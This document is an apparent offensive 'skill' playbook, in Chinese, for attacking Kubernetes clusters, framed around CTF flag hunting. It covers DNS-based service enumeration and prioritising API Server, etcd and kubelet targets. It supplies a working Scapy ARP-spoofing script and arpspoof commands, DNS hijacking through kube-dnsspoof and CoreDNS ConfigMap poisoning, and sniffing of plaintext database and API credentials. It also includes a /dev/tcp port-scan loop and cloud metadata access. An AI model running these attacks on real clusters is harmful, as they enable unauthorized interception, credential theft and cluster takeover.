K8s Network Recon

→ 读 references/network-attacks.md

Kubernetes 集群内网络侦察

在 K8s 集群中横向移动的第一步是弄清楚还有哪些服务在运行。因为 K8s 用 DNS 做服务发现，每个 Service 和 Pod 都有可预测的 DNS 名称，这意味着通过 DNS 反查就能系统性地枚举整个集群。

K8s DNS 命名规则

注意: DNS 后缀不一定是 cluster.local，由集群配置决定。检查 /etc/resolv.conf 中的 search 行。

SRV 记录

Service 的 SRV 记录暴露端口信息：

nslookup -type=srv <service>.<namespace>.svc.cluster.local
# 输出示例: service = 0 50 80 svc.ns.svc.cluster.local
# 即使没有 _proto 前缀，也能查到所有有效端口

---

Phase 1: 确定扫描范围

DNS PTR 反查是逐 IP 的——/16 范围有 65535 个 IP，盲扫可能需要几十分钟。先花 30 秒确定 Service CIDR，能把扫描时间从分钟级降到秒级。

先获取入口点信息（按可靠度从高到低）

# 1. 环境变量（最快，几乎必有）
echo $KUBERNETES_SERVICE_HOST
env | grep -i service_host

# 2. DNS 配置（nameserver 地址通常在 Service CIDR 内）
cat /etc/resolv.conf

# 3. DNS 查询（返回的 API Server IP 暴露 CIDR 段）
nslookup kubernetes.default.svc.cluster.local

# 4. 路由表/ARP（辅助推断）
cat /etc/hosts && ip route && arp -a 2>/dev/null

# 5. 避免用 ip addr — sidecar 注入的虚拟网卡会干扰判断

从获取到的 IP 推断 Service CIDR。

子网范围选择策略

⚠️ 禁止用 /8 或更大范围 — 16M+ IP 永远扫不完，会浪费整轮时间。

推荐扫描粒度： 1. 先用上面获取的 KUBERNETES_SERVICE_HOST 确定 Service CIDR 2. 从 /24 开始（256 IP，秒级完成），无结果则扩到 /16（65K IP，分钟级） 3. 常见 Service CIDR：10.96.0.0/16、10.100.0.0/16、10.43.0.0/16（K3s） 4. 如果 KUBERNETES_SERVICE_HOST 是 10.96.0.1，扫 10.96.0.0/16

---

Phase 2: DNS 批量扫描

使用 K8Spider（推荐）

# PTR 反查 + SRV 记录 + 多线程，一条命令完成全部扫描
k8spider scan -subnet 10.100.0.0/24

# 更大的范围
k8spider scan -subnet 10.96.0.0/12    # 默认 Service CIDR
k8spider scan -subnet 10.244.0.0/16   # Pod CIDR (Flannel 默认)
k8spider scan -subnet 10.42.0.0/16    # Pod CIDR (K3s 默认)

备选: 部分 CTF 环境预装了 dnscan（用法: dnscan -subnet <cidr>），功能类似但不支持 SRV 记录枚举。优先用 K8Spider。

无工具时的手动方法

# PTR 反查 (逐个 IP)
for i in $(seq 1 254); do
  nslookup 10.100.0.$i 2>/dev/null | grep -v "NXDOMAIN" | grep "name =" &
done; wait

# AXFR 域传输（如果 CoreDNS 允许）
dig axfr cluster.local @$(grep nameserver /etc/resolv.conf | awk '{print $2}')

# Wildcard DNS（已被新版 CoreDNS 废弃，但老版本可能有效）
nslookup any.any.svc.cluster.local

---

Phase 3: 服务利用

发现服务后，按攻击价值优先级排序：

1. 直接 flag/数据服务（名称含 flag、secret、internal）→ 立即 curl 访问 2. 集群管控面（API Server 6443、etcd 2379、kubelet 10250）→ 未授权访问 = 集群接管 3. 策略/Webhook 服务（kyverno-svc、gatekeeper）→ 可提取注入的 Secret 4. 监控/运维（prometheus 9090、grafana 3000、dashboard 8443）→ 信息泄露 + 凭据 5. 业务服务（其他自定义服务）→ 根据名称和端口判断

# 访问发现的服务
curl <service>.<namespace>.svc.cluster.local
curl <service>.<namespace>.svc.cluster.local:<port>

# 对高价值目标尝试多个路径
curl -s http://<svc>:<port>/
curl -s http://<svc>:<port>/flag
curl -s http://<svc>:<port>/api/v1
curl -sk https://<svc>:<port>/

---

相关技能

发现服务后，根据目标类型加载对应技能：

• Istio/Envoy 相关服务 → Skill(skill="k8s-istio-bypass")
• Kyverno/OPA Webhook → Skill(skill="k8s-webhook-abuse")
• NFS/EFS 存储 → Skill(skill="k8s-storage-exploit")
• API Server/Kubelet → Skill(skill="k8s-container-escape")
• K8Spider 工具详细用法 → Skill(skill="k8spider")

工具速查

K8s 集群网络攻击技术

1. K8s 网络基础

1.1 Pod 间网络通信

K8s 默认使用扁平网络模型——同一节点上的所有 Pod 通过网桥（通常叫 cbr0）互联。这个网桥工作在二层（以太网层），负责处理 ARP 解析。

关键安全含义：

• 同一节点上的所有 Pod 可以在二层直接通信，无论属于哪个命名空间
• 默认情况下，K8s 不同命名空间之间没有网络隔离
• 任何 Pod 都可以与其他 Pod/Service 通信（除非配置了 NetworkPolicy）
• cbr0 网桥处理 ARP 请求，这使得 ARP 欺骗攻击成为可能

1.2 K8s DNS 工作原理

Pod 的 DNS 请求流程：

Pod → 发往 Service IP（如 10.96.0.10）→ cbr0 网桥 NAT → CoreDNS Pod IP（如 172.17.0.2）

即使 DNS 服务器 Pod 和发起请求的 Pod 在同一子网，DNS 请求也必须经过网桥进行 Service IP 到 Pod IP 的转换。这意味着攻击者可以在网桥和 DNS Pod 之间实施 ARP 欺骗，拦截所有 DNS 请求。

# 查看集群 DNS 服务信息
kubectl -n kube-system describe services kube-dns
# 注意 Service IP（如 10.96.0.10）和实际 Endpoint IP（如 172.17.0.2）
# Pod 内查看 DNS 配置
cat /etc/resolv.conf

2. ARP 欺骗攻击

2.1 前提条件

• 攻击者 Pod 与目标 Pod 在同一节点上运行
• Pod 拥有 NET_RAW capability（默认启用）
• 未配置限制 ARP 的 NetworkPolicy 或安全策略

2.2 使用 Scapy 实施 ARP 欺骗

# 在攻击者 Pod 中安装工具
apt update && apt install -y python3-pip ngrep net-tools dnsutils
pip3 install scapy

ARP 欺骗脚本：

#!/usr/bin/env python3
# arp_spoof.py
from scapy.all import *

def getmac(targetip):
    pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=targetip)
    result = srp(pkt, timeout=2, verbose=False)[0]
    return result[0][1].hwsrc

def spoof(targetip, targetmac, sourceip):
    pkt = ARP(op=2, pdst=targetip, psrc=sourceip, hwdst=targetmac)
    send(pkt, verbose=False)

def restore(targetip, targetmac, sourceip, sourcemac):
    pkt = ARP(op=2, hwsrc=sourcemac, psrc=sourceip, hwdst=targetmac, pdst=targetip)
    send(pkt, verbose=False)

targetip = input("目标 IP: ")     # 如 172.17.0.10（被害 Pod）
gatewayip = input("网关/目标2 IP: ")  # 如 172.17.0.9（数据库 Pod）

targetmac = getmac(targetip)
gatewaymac = getmac(gatewayip)
print(f"Target MAC: {targetmac}, Gateway MAC: {gatewaymac}")

try:
    print("开始 ARP 欺骗...")
    while True:
        spoof(targetip, targetmac, gatewayip)
        spoof(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
    restore(gatewayip, gatewaymac, targetip, targetmac)
    restore(targetip, targetmac, gatewayip, gatewaymac)

# 启用 IP 转发（否则流量到达攻击者 Pod 后无法转发，会导致断网）
echo 1 > /proc/sys/net/ipv4/ip_forward

# 启动 ARP 欺骗
python3 arp_spoof.py

# 另开终端抓包查看拦截到的流量
ngrep -d eth0

2.3 使用 arpspoof 工具

apt install -y dsniff
# 双向欺骗
arpspoof -t 172.17.0.10 172.17.0.9 &
arpspoof -t 172.17.0.9 172.17.0.10 &
# 抓取未加密的流量（如 MySQL 认证）
ngrep -d eth0 -W byline port 3306

3. DNS 欺骗攻击

3.1 基于 ARP 欺骗的 DNS 劫持

如果攻击者 Pod 与 DNS Server Pod 在同一节点，可以通过 ARP 欺骗拦截所有 DNS 请求，并返回伪造的响应：

# 使用 kube-dnsspoof 工具
# https://github.com/danielsagi/kube-dnsspoof/

# 创建欺骗规则文件
cat > hosts <<'EOF'
target-service.default.svc.cluster.local. ATTACKER_POD_IP
external-api.example.com. ATTACKER_POD_IP
EOF

# 对指定 Pod 发起 DNS 欺骗
python3 exploit.py --direct 172.17.0.10
# 输出:
# Bridge:  172.17.0.1 02:42:bd:63:07:8d
# Kube-dns:  172.17.0.2 02:42:ac:11:00:02
# [+] Taking over DNS requests from kube-dns...

关键注意事项：

• 不能简单修改 DNS 响应内容——必须构造新的 DNS 包，源 IP 必须是 DNS Pod 的真实 IP（如 172.17.0.2），而不是 Service IP（如 10.96.0.10）
• 如果 DNS Server 与攻击者 Pod 在同一节点，可以拦截整个集群的 DNS 请求

3.2 CoreDNS ConfigMap 投毒

如果拥有 kube-system 命名空间中 coredns ConfigMap 的写权限（update/patch），可以直接修改 DNS 解析规则：

# 查看当前 CoreDNS 配置
kubectl get configmap coredns -n kube-system -o yaml

# 添加 rewrite 规则劫持特定域名
# 例如：将 internal-api.default.svc.cluster.local 解析到攻击者 Pod
kubectl edit configmap coredns -n kube-system
# 在 Corefile 中添加:
#   rewrite name internal-api.default.svc.cluster.local attacker.default.svc.cluster.local

# 修改后 CoreDNS 自动 reload（默认 30s）

4. MITM 中间人攻击

4.1 Pod 间未加密流量拦截

K8s 默认不加密 Pod 之间的通信。结合 ARP 欺骗可以拦截任何同节点 Pod 间的明文流量：

# 拦截目标 Pod 的 HTTP 流量
ngrep -d eth0 -W byline "GET|POST|PUT|DELETE" port 80

# 拦截数据库认证和查询
ngrep -d eth0 port 3306    # MySQL
ngrep -d eth0 port 5432    # PostgreSQL
ngrep -d eth0 port 6379    # Redis

# 使用 tcpdump 保存全部流量供后续分析
tcpdump -i eth0 -w /tmp/capture.pcap -s 0

4.2 窃取服务间认证凭据

被拦截的明文流量中可能包含：

• 数据库用户名和密码
• API Token / Bearer Token
• gRPC 明文请求中的凭据
• 内部 HTTP API 的认证头
• Redis AUTH 密码

5. NetworkPolicy 枚举与绕过

5.1 枚举现有策略

# 查看所有 NetworkPolicy
kubectl get networkpolicies --all-namespaces

# Calico 网络策略
kubectl get globalnetworkpolicy --all-namespaces 2>/dev/null

# Cilium 网络策略
kubectl get ciliumnetworkpolicy --all-namespaces 2>/dev/null

# 查找所有策略相关 CRD
kubectl get crd | grep -i policy

5.2 NetworkPolicy 的局限性

即使配置了 NetworkPolicy，以下场景仍可能存在攻击面：

• NetworkPolicy 不限制同节点 Pod 间的二层通信——ARP 欺骗仍然有效
• 许多 CNI 插件（如早期 Flannel）不支持 NetworkPolicy 执行
• hostNetwork: true 的 Pod 绑定到节点网络栈，NetworkPolicy 不适用
• NetworkPolicy 默认不限制出站（egress），除非显式配置
• NetworkPolicy 不能阻止对 Metadata API（169.254.169.254）的访问，需要单独配置

5.3 利用 hostNetwork 绕过

如果攻击者 Pod 使用 hostNetwork: true，它直接使用节点的网络栈：

# 在 hostNetwork Pod 中，可以直接访问节点网络
# 包括 IMDS Metadata、其他节点端口、宿主机上的服务
ip addr    # 看到的是节点的网卡
curl -s http://169.254.169.254/    # 直接访问云 Metadata

# 嗅探节点网卡上的所有流量
tcpdump -i eth0 -w /tmp/node-traffic.pcap

6. 暴露的 K8s 管理服务利用

集群内部可能运行未授权的管理平台，可作为攻击入口：

# 在 Pod 中扫描常见管理服务端口
for port in 443 2746 3000 4040 8080 8443 9090; do
  for svc in $(kubectl get svc --all-namespaces -o jsonpath='{range .items[*]}{.metadata.name}.{.metadata.namespace} {end}' 2>/dev/null); do
    timeout 2 bash -c "echo >/dev/tcp/${svc}.svc.cluster.local/$port" 2>/dev/null && \
      echo "OPEN: $svc:$port"
  done
done

7. 流量抓取工具

Mizu（现名 Kubeshark）

API 流量查看器，可在选定 Pod 上安装 agent 抓取流量：

# 需要高 K8s 权限
kubeshark tap
# 自动在目标 Pod 旁部署 agent 容器，抓取所有 API 通信
# 提供 Web UI 展示

注意：Mizu/Kubeshark 需要较高权限且不隐蔽，更适合蓝队或授权测试场景。